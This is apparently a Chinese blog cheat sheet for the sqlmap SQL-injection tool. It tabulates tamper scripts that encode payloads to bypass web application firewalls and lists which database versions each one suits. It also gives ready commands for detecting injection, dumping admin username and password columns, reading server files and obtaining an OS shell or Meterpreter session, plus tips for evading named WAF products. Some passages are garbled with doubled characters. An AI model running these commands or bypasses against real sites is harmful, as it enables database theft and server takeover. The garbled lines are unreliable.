发布时间:2023-09-02 19:00
模块 | 功能 | 实例 |
---|---|---|
apostrophemask.py | 对单引号' 用URL-UTF8编码 |
' ==>%EF%BC%87 |
apostrophenullencode.py | 对单引号' 用非法的双UNICODE编码 |
' ==>%00%27 |
unmagicquotes.py | 将单引号' 替换成多个字节 并在结尾处添加注释符 |
' UNION SELECT ==>%BF%27 UNION SELECT# |
escapequotes.py | 斜杠转义单引号' 和双引号" |
AND id='1' ==> AND id=\'1\' |
base64encode.py | 对payload进行一次BASE64编码 | 1 AND 1=1 ==> MSBBTkQgMT0x |
charunicodeencode.py | 对payload进行一次URL-UNICODE编码 | SELECT ==> %u0053%u0045%u004C%u0045%u0043%u0054 |
charunicodeescape.py | 对payload进行UNICODE格式转义编码 | SELECT ==> \u0053\u0045\u004C\u0045\u0043\u0054 |
htmlencode.py | 对payload中非字母非数字字符进行HTML编码 | AND id='1' ==> AND id='1' |
charencode.py | 对payload进行一次URL编码 | SELECT ==> %53%45%4C%45%43%54 |
chardoubleencode.py | 对payload进行两次URL编码 | SELECT ==> %2553%2545%254C%2545%2543%2554 |
overlongutf8.py | 将payload中非字母非数字字符用超长UTF8编码 | ' UNION SELECT ==>%C0%A7UNION%C0%AASELECT |
overlongutf8more.py | 将payload中所有字符用超长UTF8编码 | SELECT ==> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94 |
equaltolike.py | 将payload中所有= 替换成LIKE |
1 AND id=1 ==> 1 AND id LIKE 1 |
equaltorlike.py | 将payload中所有= 替换成RLIKE |
1 AND id=1 ==> 1 AND id RLIKE 1 |
bluecoat.py | 将SQL语句中空格字符' ' 替换为%09 并替换= 为LIKE |
1 AND id=1 ==> 1%09AND%09id LIKE 1 |
space2dash.py | 将空格字符' ' 替换成:-- +随机字符串+\n |
UNION SELECT ==>UNION--gFdjw%0ASELECT |
space2hash.py | 将MySQL payload中空格字符' ' 替换成: # +随机字符串+\n |
UNION SELECT ==>UNION#gFdjw%0ASELECT |
space2morehash.py | 将MySQL payload中空格字符' ' 替换成: # +随机字符串+\n |
UNION SELECT ==>UNION#kHeeR%0ASELECT |
space2mssqlblank.py | 将MsSQL payload中空格字符' ' 替换成 随机的空字符:(%01 , %02 , %03 , %04 ···%0F ) |
UNION SELECT * FROM user ==> UNION%03SELECT%0A*%01FROM%05user |
space2mssqlhash.py | 将MySQL payload中空格字符' ' 替换成:# +\n |
UNION SELECT ==>UNION#%0ASELECT |
space2mysqlblank.py | 将MySQL payload中空格字符' ' 替换成 随机的空字符:(%09 , %0A , %0B , %0C , %0D ) |
UNION SELECT * FROM user ==> UNION%0ASELECT%0C*%0DFROM%09user |
space2mysqldash.py | 将MySQL payload中空格字符' ' 替换成:-- +\n |
UNION SELECT ==>UNION--%0ASELECT |
space2plus.py | 将空格字符' ' 替换成+ |
UNION SELECT ==>UNION+SELECT |
space2randomblank.py | 将空格字符' ' 替换成随机的空字符: (%09 , %0A , %0C , %0D ) |
UNION SELECT * FROM user ==> UNION%0ASELECT%0C*%0AFROM%09user |
0eunion.py | UNION 语句替换 |
==>
|
unionalltounion.py | UNION 语句替换 |
UNION ALL SELECT ==>UNION SELECT |
misunion.py | UNION 语句替换 |
UNION ==>-.1UNION |
dunion.py | UNION 语句替换 |
==>
|
sleep2getlock.py | SLEEP 语句替换 |
SLEEP(5) ==>GET_LOCK('ETgP',5) |
ifnull2casewhenisnull.py | IFNULL 语句替换 |
IFNULL(A, B) ==> CASE WHEN ISNULL(A) THEN (B) ELSE (A) END |
ifnull2ifisnull.py | IFNULL 语句替换 |
IFNULL(A, B) ==>IF(ISNULL(A), B, A) |
commalesslimit.py | MySQL payload中LIMIT 语句替换 |
LIMIT M, N ==>LIMIT N OFFSET M |
commalessmid.py | MySQL payload中MID 语句替换 |
MID(A, B, C) ==>MID(A FROM B FOR C) |
hex2char.py | MySQL payload中CONCAT(CHAR(),…) 语句替换 |
0x ==>CONCAT(CHAR(),…) |
between.py | 用BETWEEN 语句替换=<> 号 |
AND A=B ==> AND A BETWEEN B AND B AND A>B ==>AND A NOT BETWEEN 0 AND B |
concat2concatws.py | MySQL payload中CONCAT 语句替换 |
CONCAT(A, B) ==> CONCAT_WS(MID(CHAR(0), 0, 0), A, B) |
space2comment.py | 将空格字符' ' 替换成注释符/**/ |
UNION SELECT ==>UNION/**/SELECT |
space2morecomment.py | 将MySQL payload中空格字符' ' 替换成 注释符/**_**/ |
UNION SELECT ==>UNION/**_**/SELECT |
commentbeforeparentheses.py | 在括号前加上/**/ 注释 |
() ==>/**/() |
halfversionedmorekeywords.py | 在关键字前添加MySQL版本注释信息 | SELECT A AND B ==> /*!0SELECT A /*!0AND B |
modsecurityversioned.py | 用注释来包围完整的MySQL查询语句 | ' UNION SELECT * FROM user# ==> ' /*!UNION SELECT * FROM user*/# |
modsecurityzeroversioned.py | 用注释来包围完整的MySQL查询语句 | ' UNION SELECT * FROM user# ==> ' /*!000UNION SELECT * FROM user*/# |
randomcomments.py | 在SQL关键字的字符之间随机添加注释符 | SELECT ==>S/**/E/**/LECT |
versionedkeywords.py | 对MySQL payload中非函数的关键字进行注释 | UNION SELECT user() ==> /*!UNION*/ /*!SELECT*/ user() |
versionedmorekeywords.py | 对MySQL payload中所有关键字进行注释 | UNION SELECT user() ==> /*!UNION*/ /*!SELECT*/ /*!user*/() |
appendnullbyte.py | 在payload结束位置加零字节字符%00 |
1 AND 1=1 ==> 1 AND 1=1%00 |
binary.py | 在payload可能位置插入关键字binary |
1 UNION SELECT NULL ==> 1 UNION SELECT binary NULL |
greatest.py | > 替换成GREATEST 语句 |
1 AND A > B ==> 1 AND GREATEST(A, B+1)=A |
least.py | > 替换成LEAST 语句 |
1 AND A > B ==> 1 AND LEAST(A-1, B)=B |
informationschemacomment.py | 在"information_schema"后面加上/**/ |
select * from information_schema.tables ==> select * from information_schema/**/.tables |
lowercase.py | 将所有大写字符替换成小写字符 | SELECT ==>select |
uppercase.py | 将所有小写字符替换成大写字符 | select ==>SELECT |
multiplespaces.py | 在SQL关键字旁添加多个空格符' ' |
UNION%20SELECT ==>%20UNION%20%20SELECT%20 |
percentage.py | payload中每个字符前加% |
SELECT ==>%S%E%L%E%C%T |
plus2concat.py | 将+ 替换成MsSQL的CONCAT() 语句 |
select char(102)+char(107) ==> select concat(char(102),char(107)) |
plus2fnconcat.py | 将+ 替换成MsSQL的{fn CONCAT()} 语句 |
select char(102)+char(107) ==> select {fn concat(char(102),char(107))} |
randomcase.py | 对每个SQL关键字的字符替换成随机大小写 | SELECT ==>SEleCt |
schemasplit.py | 拆分数据库标识符 | testdb.users ==>testdb 9.e.users |
sp_password.py | 在MsSQL payload后添加ssp_password 用于混淆数据库日志 |
UNION SELECT * FROM user# ==> UNION SELECT * FROM user#ssp_password |
substring2leftright.py | 将PostgreSQL中SUBSTRING 语句 用LEFT 和RIGHT 代替 |
SUBSTRING((SELECT *)::text FROM 1 FOR 1) ==>LEFT((SELECT *)::text,1) |
symboliclogical.py | 将AND 和OR 替换成&& 和` |
|
luanginx.py | 针对LUA-Nginx WAF进行绕过 | |
varnish.py | 添加一个HTTP头X-originating-IP 用来绕过Varnish防火墙 |
|
xforwardedfor.py | 添加伪造的HTTP头X-Forwarded-For |
MySQL 版本 | 测试模块 |
---|---|
4.0/5.0 | space2hash |
4.0/5.0/5.5 | between, charencode, equaltolike, equaltorlike, greatest, hex2char, least, lowercase, randomcase, space2comment, space2randomblank, uppercase |
5.1 | bluecoat, space2mysqlblank |
5.0/5.5 | commalesslimit, commalessmid, ifnull2casewhenisnull, ifnull2ifisnull, sleep2getlock, space2morecomment |
5.0 | concat2concatws, modsecurityversioned, modsecurityzeroversioned |
5.1.56 | charunicodeencode |
5.1.56/5.5.11 | percentage, versionedmorekeywords |
4.0.18/5.0.22 | halfversionedmorekeywords |
4.0.18/5.1.56/5.5.11 | versionedkeywords |
5.1.41 | space2morehash |
未明确 | 0eunion, binary, commentbeforeparentheses, misunion, space2mssqlhash, space2mysqldash |
MsSQL 版本 | 测试模块 |
---|---|
2005/2000 | charunicodeencode, percentage, space2mssqlblank |
2005 | between, charencode, equaltolike, lowercase, randomcase, space2comment, space2randomblank, uppercase |
2008 | plus2fnconcat |
2012 | plus2concat |
未明确 | 0eunion, commentbeforeparentheses, sp_password, space2dash, space2mssqlhash, space2mysqldash |
PostgreSQL 版本 | 测试模块 |
---|---|
8.3/8.4/9.0 | between, charencode, greatest, least, lowercase, randomcase, space2comment, space2randomblank, uppercase |
9.0 | percentage |
9.0.3 | charunicodeencode |
9.6.12 | substring2leftright |
未明确 | commentbeforeparentheses |
Oracle 版本 | 测试模块 |
---|---|
10g | between, charencode, greatest, least, lowercase, randomcase, space2comment, space2randomblank, uppercase |
未明确 | dunion, commentbeforeparentheses |
Access 版本 | 测试模块 |
---|---|
未明确 | appendnullbyte |
SQLite 版本 | 测试模块 |
---|---|
3 | randomcase |
未明确 | space2dash |
--batch
--beep
--thread 10
python sqlmap.py -u ""
--crawl 1
--cookie=jeesite.session.id=facfb544437a46f9bd59b5697f8e2035
--forms
--data
python sqlmap.py -r 1.txt -p
--batch --beep
--level 5 -v 3
--random-agent --tamper=space2plus,apostrophemask,space2comment.py
--thread 1 --random-agent --tamper=xforwardedfor,varnish,luanginx,symboliclogical,randomcase,percentage,multiplespaces,informationschemacomment,least,greatest,binary,appendnullbyte,versionedkeywords,randomcomments,space2morecomment,between,space2randomblank.py --level 5
--dbms mysql
--no-cast
--current-db
--is-dba
--users
--passwords
--dbs
--sql-shell
--os-shell
SqlMap 是一款强大的 开源 渗透测试工具,
它可以自动探测和利用SQL注入漏洞来接管数据库服务器。
自带字典 功能强大 界面优化友好 多平台运行
它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能
可以access,mysql,mssql等数据库的 注入 拖库,
可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
1、基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行
(即页面返回时间是否增加)来判断。
3、基于报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入
可以使用union的情况下的注入。
5、堆查询注入
可以同时执行多条语句的执行时的注入。
MySQL,
Oracle,
Microsoft SQL Server,
SQLite,
PostgreSQL,
Microsoft Access,
IBM DB2,
Firebird,
Sybase和SAP MaxDB
sqlmap可以通过从目标位置开始收集链接(爬行)来收集潜在的脆弱链接。使用此选项,用户可以设置一个深度(到起始位置的距离),低于这个深度,sqlmap不会进入收集阶段,因为只要有新的链接要访问,就会递归地执行这个过程。
–crawl
python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/” --batch --crawl=3
–crawl-exclude 字符串 存在字符串的URL不进行爬取。
python sqlmap.py -u ""
python sqlmap.py -r 1.txt -p
--crawl 1
--batch
--beep
--thread 10
--dbms mysql
--random-agent --tamper=space2plus,apostrophemask,space2comment.py
--level 5 -v 3
--no-cast
--cookie=jeesite.session.id=facfb544437a46f9bd59b5697f8e2035
--forms
python sqlmap.py -u "url" --batch --beep --thread 10 --data " "
--is-dba
--dbs
--os-shell
--users
--passwords
--current-db
Options(选项):
--version 显示程序的版本号并退出
-h, --help 显示此帮助消息并退出
-v VERBOSE 详细级别:0-6(默认为 1)
Target(目标):
以下至少需要设置其中一个选项,设置目标 URL。
-d DIRECT 直接连接到数据库。
-u URL, --url=URL 目标 URL。
-l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
-r REQUESTFILE 从一个文件中载入 HTTP 请求。
-g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
-c CONFIGFILE 从 INI 配置文件中加载选项。
Request(请求)::
这些选项可以用来指定如何连接到目标 URL。
--data=DATA 通过 POST 发送的数据字符串
--cookie=COOKIE HTTP Cookie 头
--cookie-urlencode URL 编码生成的 cookie 注入
--drop-set-cookie 忽略响应的 Set - Cookie 头信息
--user-agent=AGENT 指定 HTTP User - Agent 头
--random-agent 使用随机选定的 HTTP User - Agent 头
--referer=REFERER 指定 HTTP Referer 头
--headers=HEADERS 换行分开,加入其他的 HTTP 头
--auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)(Basic, Digest or NTLM)
--auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
--auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
--proxy=PROXY 使用 HTTP 代理连接到目标 URL
--proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
--ignore-proxy 忽略系统默认的 HTTP 代理
--delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒
--timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒)
--retries=RETRIES 连接超时后重新连接的时间(默认 3)
--scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
--safe-url=SAFURL 在测试过程中经常访问的 url 地址
--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL
Optimization(优化):
这些选项可用于优化 SqlMap 的性能。
-o 开启所有优化开关
--predict-output 预测常见的查询输出
--keep-alive 使用持久的 HTTP(S)连接
--null-connection 从没有实际的 HTTP 响应体中检索页面长度
--threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚本。
-p TESTPARAMETER 可测试的参数(S)
--dbms=DBMS 强制后端的 DBMS 为此值
--os=OS 强制后端的 DBMS 操作系统为这个值
--prefix=PREFIX 注入 payload 字符串前缀
--suffix=SUFFIX 注入 payload 字符串后缀
--tamper=TAMPER 使用给定的脚本(S)篡改注入数据
Detection(检测):
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。
--level=LEVEL 执行测试的等级(1-5,默认为 1)
--risk=RISK 执行测试的风险(0-3,默认为 1)
--string=STRING 查询时有效时在页面匹配字符串
--regexp=REGEXP 查询时有效时在页面匹配正则表达式
--text-only 仅基于在文本内容比较网页
Techniques(技巧):
这些选项可用于调整具体的 SQL 注入测试。
--technique=TECH SQL 注入技术测试(默认 BEUST)
--time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒)
--union-cols=UCOLS 定列范围用于测试 UNION 查询注入
--union-char=UCHAR 用于暴力猜解列数的字符
Fingerprint(指纹):
-f, --fingerprint 执行检查广泛的 DBMS 版本指纹
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己
的 SQL 语句。
-b, --banner 检索数据库管理系统的标识
--current-user 检索数据库管理系统当前用户
--current-db 检索数据库管理系统当前数据库
--is-dba 检测 DBMS 当前用户是否 DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
-p xxxx post 注入 对参数“xxxx”进行检测
--tables 枚举的 DBMS 数据库中的表
--columns 枚举 DBMS 数据库表列
--dump 转储数据库管理系统的数据库中的表项
--dump-all 转储所有的 DBMS 数据库表中的条目
--search 搜索列(S),表(S)和/或数据库名称(S) -D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--start=LIMITSTART 第一个查询输出进入检索
--stop=LIMITSTOP 最后查询的输出进入检索
--first=FIRSTCHAR 第一个查询输出字的字符检索
--last=LASTCHAR 最后查询的输出字字符检索
--sql-query=QUERY 要执行的 SQL 语句
--sql-shell 提示交互式 SQL 的 shell
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
--common-tables 检查存在共同表
--common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
--udf-inject 注入用户自定义函数
--shared-lib=SHLIB 共享库的本地路径
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
--os-cmd=OSCMD 执行操作系统命令
--os-shell 交互式的操作系统的 shell
--os-pwn 获取一个 OOB shell,meterpreter 或 VNC
--os-smbrelay 一键获取一个 OOB shell,meterpreter 或 VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH Metasploit Framework 本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
Windows 注册表访问:
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
--reg-read 读一个 Windows 注册表项值
--reg-add 写一个 Windows 注册表项值数据
--reg-del 删除 Windows 注册表键值
--reg-key=REGKEY Windows 注册表键
--reg-value=REGVAL Windows 注册表项值
--reg-data=REGDATA Windows 注册表键值数据
--reg-type=REGTYPE Windows 注册表项值类型
General(一般):
这些选项可以用来设置一些一般的工作参数。
-t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
--flush-session 刷新当前目标的会话文件
--fresh-queries 忽略在会话文件中存储的查询结果
--eta 显示每个输出的预计到达时间
--update 更新 SqlMap
--save file 保存选项到 INI 配置文件
--batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
--beep 发现 SQL 注入时提醒
--check-payload IDS 对注入 payloads 的检测测试
--cleanup SqlMap 具体的 UDF 和表清理 DBMS
--forms 对目标 URL 的解析和测试形式
--gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
--page-rank Google dork 结果显示网页排名(PR)
--parse-errors 从响应页面解析数据库管理系统的错误消息
--replicate 复制转储的数据到一个 sqlite3 数据库
--tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
--wizard 给初级用户的简单向导界面
传输层协议 使用带外数据(out-of-band,OOB)
来发送一些重要的数据
如果通信一方有重要的数据需要通知对方时,
协议能够将这些数据快速地发送到对方.为了发送这些数据,
协议一般不使用与普通数据相同的通道,而是使用另外的通道.
.linux 系统的套接字机制支持低层协议发送和接受带外数据.
但是 TCP 协议没有真正意义上的带外数据.为了发送重要协议,
TCP提供了一种称为紧急模式(urgentmode)的机制.
在数据段中设置URG位,表示进入紧急模式.
接收方可以对紧急模式采取特殊的处理.很容易看出来,这种方式数据不容易被阻塞,
可以通过在我们的服务器端程序里面捕捉 SIGURG 信号来及时接受数据或者使用带OOB 标志的 recv 函数来接受.
常用命令
注入命令详解:
找到SQLMAP路径,
在CMD里面输入CD XX路径进入到SQLMAP路径目录下
1.python SQLMAP.py -u “xxxxxxx.com”
【查询链接是否存在get注入漏洞以及返现目标基本信息】
2.python SQLmap.py -u “xxxx.com” --cookie “id=xx” --level 2
【判断url是否存在cookie注入】
3.python SQLmap.py -u “xxxx.com” --data “xx=xx&xx=xx”
【判断url是否存在post注入】
【get注入详解】
python sqlmap.py -u “xxxxxxx.com” --dbs
【获取数据库内所有数据库的名称】
python sqlmap.py -u “xxxxxxx.com” --current-db
【查看目标网站所存在数据库的名称】
python SQLMAP.py -u “xxxxxxx.com” -D XX --tables
【获取XX数据库内的表信息】
python sqlmap.py -u “xxxxxxx.com” -D XX【数据库名】 -T XX【表名】 --columns
【获取表内列的信息】
python sqlmap.py -u “xxxxxxx.com” -D XX -T XX -C XX,XX【列名】 --dump
【获取列内信息】
【cookie注入详解】
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2
//判判断断是是否否存存在在cookie注注入入
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2 --tables //猜猜解解表表名名
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2 --columns -T admin
//猜 解admin表表名名下下的的列列名名
sqlmap.py -u http://127.0.0.1:81/1/1/shownews.asp --cookie “id=27” --level 2 --dump -C “username,password” -T admin
//获获取取指指定定列列名名admin下下的的数数据据
【post注入详解】
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456”
//判断注入
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --tables
//猜解表名
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --tables -D “fanke”
///猜 解fanke数据库下的表名
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --columns -T “user”
//猜 解fanke数据库下的表名user中的列名
sqlmap.py -u http://127.0.0.1:88/p.php --data “u=admin&p=123456” --dump -C
“username,password” -T user
//猜解数据
python sqlmap.py -u " " -level 5 --tamper=space2comment --technique=BEUS
--identify-waf --batch
识别waf --identify-waf对一些网站是否有安全防护进行试探
绕过对方waf:
sqlmap -u url --skip-waf --random-agent 通过使用随机agent
sqlmap -u url --skip-waf --random-agent --mobile 通过手机请求 使用随机agent
sqlmap -u url --skip-waf --random-agent --mobile --level 3 risk=2 提高安全/危险等级 通过手机请求 使用随机agent
sqlmap -u url --skip-waf --random-agent --mobile --smart smart智能模式
sqlmap -u url --skip-waf --random-agent --mobile --smart --offline 减少根对方的交互
--tamper=space2comment
randomcomments.py脚本 在payload关键字中随机插入/**/,可以绕过关键字过滤,适用于所有数据库
--technique=BEUS
测试是否是注入
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
--current-user
获取当前用户名称
--current-db
获取当前数据库名称
--tables -D "db_name"
列表名
--columns -T "tablename" users-D "db_name" -v 0
列字段
--dump -C "column_name" -T "table_name" -D "db_name" -v 0
获取字段内容
--smart --level 3 --users
smart 智能 level 执行测试等级
--dbms "Mysql" --users
dbms 指定数据库类型
--time-sec=2
设定延迟注入的时间 默认是5秒
--union-cols
设定UNION查询字段数
--union-char
设定UNION查询使用的字符
--second-order
二阶SQL注入
刷新session文件
参数:--flush-session
-r 1.txt
--csrf-token="token"
sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --table --level 2
cookie注入,猜解表
sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --columns -T admin --level 2
猜解字段,(通过1的表猜解字段,假如表为admin)
sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --dump -T admin -C "user,password" --level 2
猜解内容
sqlmap -update
更新
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
--level 设置注入探测等级
--risk 风险等级 5
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
python sqlmap.py -r "D:\hack\codeattack\sqlmap\123.txt" -p userID --dbs --tamper=space2randomblank,unionalltounion,space2comment,appendnullbyte,chardoubleencode --level 5 --risk 3 --skip-waf --random-agent --mobile --smart
WAF:Web应用程序防火墙,Web Application Firewall
IPS:入侵防御系统, Intrusion Prevention System
IDS:入侵检测系统,Intrusion Detection System
AliYunDun (Alibaba Cloud Computing)
Safedog
D盾
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests?
建议只执行基本的联盟测试如果没有至少一个其他(潜在)技术发现。你想减少请求的数量?
you have not declared cookie(s), while server wants to set its own ('
ASP.NET_SessionId=
saltkey =
PHPSESSID =
sid = '). Do you want to use those
你还没有宣布饼干(s),而服务器要设置自己的( )。你想用这些吗
are you sure that you want to continue with further target testing?
你确定你要继续进一步的目标测试吗?
do you want to skip those kind of cases (and save scanning time)?
你想跳过这些类型的情况下(并保存扫描时间)?
it looks like the back-end DBMS is 'FrontBase'. Do you want to skip test payloads specific for other DBMSes?
它看起来像“FrontBase”后端数据库管理系统。你想跳过测试载荷具体其他dbms ?
for the remaining tests, do you want to include all tests for 'FrontBase' extending provided risk (1) value?
Microsoft SQL Server
Cubrid
MySQL
对于剩余的测试,你想为“ ”包括所有测试扩展提供风险(1)价值?
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
注射用NULL值不是可利用的。你想尝试一个随机整数价值选择“——union-char”?[Y / n]
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue?
似乎有一个持续的问题连接到目标。你确定你想要继续吗?
got a 302 redirect to 'http://www.baidu.com/search/error.html'. Do you want to follow?
有一个302重定向到
there seems to be a continuous problem with connection to the target. Are you sure that you want to continue?
似乎有一个持续的问题连接到目标。你确定你想要继续吗
are you really sure that you want to continue (sqlmap could have problems)? [y/N]
你真的确定你想继续(sqlmap可能有问题)?[y / N]
are you sure that you want to continue with further target testing? [Y/n]
你确定你要继续进一步的目标测试吗?[Y / n]
do you want to (re)try to find proper UNION column types with fuzzy test?
你想(重新)试图找到适当的联盟列类型与模糊测试?
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
你想如何继续?
do you want to URL encode cookie values (implementation specific)? [Y/n]
你想要对URL值进行URL编码(具体实现)吗? 输入"Y"
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
cookie参数“id”是脆弱的。你想继续测试其他(如果有的话)吗? 输入"Y"
do you want to use common table existence check? [Y/n/q]
你是否要使用存在的公共表去检查? [Y/n/q] 输入"Y" 并输入线程数。
[CRITICAL]considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible
相当大的滞后已经检测到连接响应(s)。请使用高值选项——time-sec尽可能
[CRITICAL]all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests
所有测试参数似乎没有注射。努力增加值“——水平”/“——风险”选项如果你想进行更多的测试
[CRITICAL]heuristics detected that the target is protected by some kind of WAF/IPS
启发式检测到的目标是保护某种WAF / IPS
[INFO] heuristic (basic) test shows that GET parameter 'idref' might be injectable
[信息]启发式(基本)测试表明,参数的idref可能注射
[INFO] testing for SQL injection on GET parameter 'idref'
[信息]测试SQL注入得到参数的idref
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
(关键)目标URL连接超时。sqlmap将重试请求(年代)
[WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[警告]有可能目标(或WAF / IPS)下降“可疑”请求
[INFO] GET parameter 'idref' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[信息]得到参数的idref似乎 注射
Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。
Sqlmap运行时必须指定至少一个目标,支持一次指定多个目标。有以下几种指定目标的方式:
使用参数“-d”直接连接数据库,该参数后跟一个表示数据库的字符串,该字符串有以下两种格式:
(1).当数据库管理系统是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等时格式为:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(2).当数据库管理系统是SQLite、Microsoft Access或Firebird等时格式为:
DBMS://DATABASE_FILEPATH
用如下命令连接装在本机上的Mysql:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
却出现了错误,错误为:
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can do
意思是我没有安装Python连接Mysql用的第三方库python-pymysql。虽然我安装了python-mysqldb可以使Python连接Mysql,但显然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下命令安装python-pymysql:
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install
安装好python-pymysql后再执行命令:
python sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
这次没有报错,成功的连接到了数据库。
只是除了检测数据库确实是Mysql版本号大于等于5.0.0之外便什么都没有做。让Sqlmap做点什么需要用其他参数指定,这些参数我们稍晚些再学习。
指定目标URL
参数:-u 或 –url
使用参数“-u”或“–url”指定一个URL作为目标,该参数后跟一个表示URL的字符串,可以是http协议也可以是https协议,还可以指定端口,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"
space2hash
equaltolike
space2mssqlblank
space2mssqlhash
between
percentage
sp_password
charencode
randomcase
charunicodeencode
space2comment 在payload关键字中随机插入/**/,可以绕过关键字过滤,适用于所有数据库
apostrophemask.py
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper("1 AND '1'='1")
